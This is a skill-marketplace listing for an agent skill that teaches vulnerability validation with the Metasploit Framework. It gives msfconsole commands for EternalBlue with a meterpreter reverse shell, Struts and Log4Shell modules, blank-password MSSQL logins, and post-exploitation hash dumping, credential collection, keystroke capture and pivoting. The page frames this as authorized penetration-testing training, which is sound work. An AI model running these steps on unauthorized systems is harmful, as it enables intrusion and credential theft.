exploiting-vulnerabilities-with-metasploit-framework
Uses the Metasploit Framework (msfconsole and its exploit, auxiliary,
v1.03 installazioni+3 in 7 giorni36,3K StelleApache-2.0sincronizzato 12 ore fa
Installa
Non hai ancora la CLI di NotHoly? Installala prima.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install mukul975/exploiting-vulnerabilities-with-metasploit-frameworkScrive in ~/.notholy/skills dopo aver controllato la firma e lo SHA-256.
FirmaFirmato, ed25519
Pacchetto23afea98…2ae48642
23afea988185…91512ae486428 file · 13.8 KBScansioneMedio3 segnalazioni
- Script eseguibile incluso nella skillscripts/agent.py
- Script eseguibile incluso nella skillscripts/process.py
- Link a domini esterni
Sorgentegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-vulnerabilities-with-metasploit-framework@54a7988
Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.
In questa pagina
Overview
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.
When to Use
- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Metasploit Framework installed (Kali Linux or standalone)
- PostgreSQL database for session/credential management
- Written authorization and rules of engagement for testing
- Isolated test environment or approved production testing window
- Understanding of networking, protocols, and exploitation concepts
Core Concepts
Metasploit Architecture
- msfconsole: Primary interactive command-line interface
- Exploits: Modules that leverage vulnerabilities to gain access
- Payloads: Code executed on the target after successful exploitation
- Auxiliary: Scanning, fuzzing, and information gathering modules
- Post-Exploitation: Modules for privilege escalation, persistence, pivoting
- Encoders: Payload encoding to evade signature-based detection
- Nops: No-operation generators for payload alignment
Exploitation Workflow in Vulnerability Management
Unlike offensive red teaming, vulnerability management uses Metasploit to:
- Validate scanner findings (confirm exploitability)
- Demonstrate risk to business stakeholders
- Prioritize remediation based on proven exploitation paths
- Verify patches by confirming exploits no longer succeed
Workflow
Step 1: Initialize Metasploit Environment
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init
# Launch msfconsole
msfconsole -q
# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025
# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulnsStep 2: Validate Specific Vulnerabilities
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444
# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
# Only exploit if check confirms vulnerability and authorized
msf6> exploit
# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check
# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> checkStep 3: Auxiliary Scanning for Validation
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run
# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run
# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run
# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> runStep 4: Post-Exploitation Impact Assessment
# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector
# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy
# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_startStep 5: Document and Report Findings
# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv
# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xmlStep 6: Post-Patch Verification
# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfullySafety Controls
- Always use
checkcommand beforeexploitwhen available - Set AutoRunScript for clean session management
- Use EXITFUNC=thread to prevent crashing target services
- Limit payload capabilities to minimum needed for validation
- Document every action for audit trail and evidence
- Use workspace isolation per engagement
- Never run Metasploit against unauthorized targets
Best Practices
- Start with vulnerability check modules before exploitation
- Use Metasploit to validate top-priority scanner findings only
- Coordinate with system owners for testing windows
- Maintain detailed logs of all exploitation attempts
- Clean up all artifacts and sessions after testing
- Use results to create compelling risk narratives for stakeholders
- Integrate Metasploit validation into vulnerability management workflow
Common Pitfalls
- Exploiting without written authorization (legal liability)
- Using exploitation on production systems without coordination
- Not cleaning up Meterpreter sessions and artifacts
- Confusing vulnerability validation with penetration testing scope
- Using outdated Metasploit modules against patched systems
- Failing to document exploitation evidence for remediation teams
Related Skills
- performing-red-team-validated-vulnerability-testing
- scanning-infrastructure-with-nessus
- performing-network-vulnerability-assessment
File di questa versione
assets/11.0 KB
- template.md1.0 KB
references/36.3 KB
- api-reference.md2.2 KB
- standards.md1.5 KB
- workflows.md2.6 KB
scripts/217.1 KB
- agent.py4.9 KB
- process.py12.2 KB
- LICENSE11.0 KB
- SKILL.md7.3 KB
Permessi
| Permesso | Dichiarato | Trovato dalla scansione |
|---|---|---|
| Legge file | No | No |
| Scrive file | Sì | Sì |
| Esegue comandi shell | Sì | Sì |
| Usa la rete | Sì | Sì |
| Usa i connettori | No | No |
| Controlla un browser | No | No |
Segnalazioni della scansione
Rivisto il 13 nov 2026
- MediaFile · Script eseguibile incluso nella skillscripts/agent.py
- MediaFile · Script eseguibile incluso nella skillscripts/process.py
- InfoLink · Link a domini esterni
Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.
| Versione | Pubblicata | Commit | SHA-256 | Firma | Cambio di permessi |
|---|---|---|---|---|---|
| v1.0 | 13 nov 2026 | 54a7988 | 23afea98 | Firmata | – |
Altro da mukul975
Tutto da questo editore- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- testing-for-sensitive-data-exposuremukul975/testing-for-sensitive-data-exposure5
- performing-jwt-none-algorithm-attackmukul975/performing-jwt-none-algorithm-attack5
- detecting-aws-credential-exposure-with-trufflehogmukul975/detecting-aws-credential-exposure-with-trufflehog5
Altro in Reverse engineering e fuzzing
Vai alla categoriaChiedi tutto quello che il tuo perimetro consente.
Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.
- 1/3
Crea l'account
Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.
PrivatoAzienda - 2/3
Aggiungi crediti
Con carta. Paghi a token, senza abbonamento.
$5.00ricarica minima - 3/3
Chiedi
In chat, oppure installa la CLI ed esegui notholy login nel terminale.
$ notholy login